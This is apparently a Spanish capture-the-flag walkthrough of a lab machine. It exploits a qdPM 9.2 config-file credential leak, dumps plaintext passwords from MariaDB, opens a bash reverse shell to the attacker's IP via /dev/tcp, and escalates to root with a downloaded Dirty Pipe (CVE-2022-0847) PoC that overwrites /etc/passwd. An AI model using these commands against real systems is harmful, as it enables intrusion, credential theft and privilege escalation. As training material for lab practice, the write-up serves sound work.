Enumeración de servicios
Comenzamos con la enumeración de puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.130
❯ nmap -sCV -p80,3306 -oN 02-targeted.txt 192.168.1.130
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-17 18:52 -04
Nmap scan report for 192.168.1.130
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0
|_http-title: qdPM | Login
|_http-server-header: nginx/1.18.0
3306/tcp open mysql MySQL 5.5.5-10.5.11-MariaDB-1
|_ Auth Plugin Name: mysql_native_password
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.76 secondsCredential Exposure en qdPM
El login usa qdPM 9.2. La aplicación deja accesible sin autenticación core/config/databases.yml, un archivo de configuración que contiene el DSN, el usuario y la contraseña de MariaDB. El problema no es que la contraseña aparezca dentro de una expresión PHP, sino que el servidor entrega el archivo completo como texto al cliente:
❯ searchsploit qdPM 9.2
...
qdPM 9.2 - Password Exposure (Unauthenticated) | php/webapps/50176.txt
...
❯ curl http://192.168.1.130/core/config/databases.yml
...
dsn: 'mysql:dbname=qpm;host=localhost'
username: qpmadmin
password: "<?php echo urlencode('qpmpazzw') ; ?>"
...MariaDB también está expuesto en la red, por lo que las credenciales filtradas permiten consultar el servicio directamente. En la base hidden encontramos pares de usuario y contraseña junto con una lista de virtual hosts:
❯ mariadb -h 192.168.1.130 -P 3306 -u qpmadmin -p
Enter password: qpmpazzw
MariaDB [hidden]> select * from users;
+----+---------+---------------------+
| id | user | password |
+----+---------+---------------------+
| 1 | jwick | Ihaveafuckingpencil |
| 2 | rocio | Ihaveaflower |
...
| 9 | violeta | Ihaveroot |
+----+---------+---------------------+
MariaDB [hidden]> select * from url;
+----+-------------------------+
| id | url |
+----+-------------------------+
| 1 | http://portal.bah.hmv |
...
| 5 | http://party.bah.hmv |
...
+----+-------------------------+Acceso inicial mediante Credential Reuse
Fuzzeamos virtual hosts de bah.hmv y encontramos party:
❯ wfuzz -u 'http://bah.hmv' -H 'Host: FUZZ.bah.hmv' -t 100 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hw 373
...
000004991: 200 0 L 1 W 46 Ch "party"
...Asociamos party.bah.hmv con 192.168.1.130 en /etc/hosts para resolver el virtual host. El sitio expone una instancia de Shell In A Box que solicita credenciales del sistema. En este punto existen dos accesos independientes: las credenciales qpmadmin:qpmpazzw, obtenidas desde la configuración de qdPM, permiten abrir una sesión como qpmadmin; por su parte, rocio:Ihaveaflower, recuperadas de la tabla hidden, permiten entrar como rocio y obtener la flag de usuario.
Desde la sesión de rocio lanzamos una reverse shell hacia nuestra máquina:
rocio@bah:/home$ bash -c "bash -i >& /dev/tcp/192.168.1.3/1234 0>&1"
❯ ncat -nlvp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.130:60678.
rocio@bah:/home$El prompt de la conexión confirma que la shell se ejecuta como rocio, acceso desde el que obtenemos la flag de usuario.
Escalada de privilegios mediante Dirty Pipe
La enumeración local identifica un kernel vulnerable a Dirty Pipe (CVE-2022-0847). Este fallo permite que un usuario local sobrescriba datos del page cache asociados a un archivo de solo lectura, eludiendo los permisos normales del sistema de archivos.
Desde la sesión independiente de qpmadmin, descargamos y compilamos un PoC. Antes de ejecutarlo guardamos una copia de /etc/passwd, ya que el exploit modificará directamente ese archivo:
qpmadmin@bah:/tmp$ wget https://raw.githubusercontent.com/Al1ex/CVE-2022-0847/main/exp.cn/exp.c
qpmadmin@bah:/tmp$ cp /etc/passwd /tmp/passwd.bak
qpmadmin@bah:/tmp$ gcc exp.c -o exp
qpmadmin@bah:/tmp$ ./exp /etc/passwd 1 ootz:
It worked!
qpmadmin@bah:/tmp$ su rootz
rootz@bah:/tmp#El argumento 1 indica el desplazamiento dentro de /etc/passwd y ootz: es el contenido escrito a partir de esa posición. Como la primera entrada comienza por root:, la sobrescritura la convierte en rootz: sin alterar sus campos UID y GID, que continúan siendo 0. Por eso su rootz abre una shell privilegiada y el prompt rootz@bah confirma el acceso necesario para obtener la flag de root.
Fin.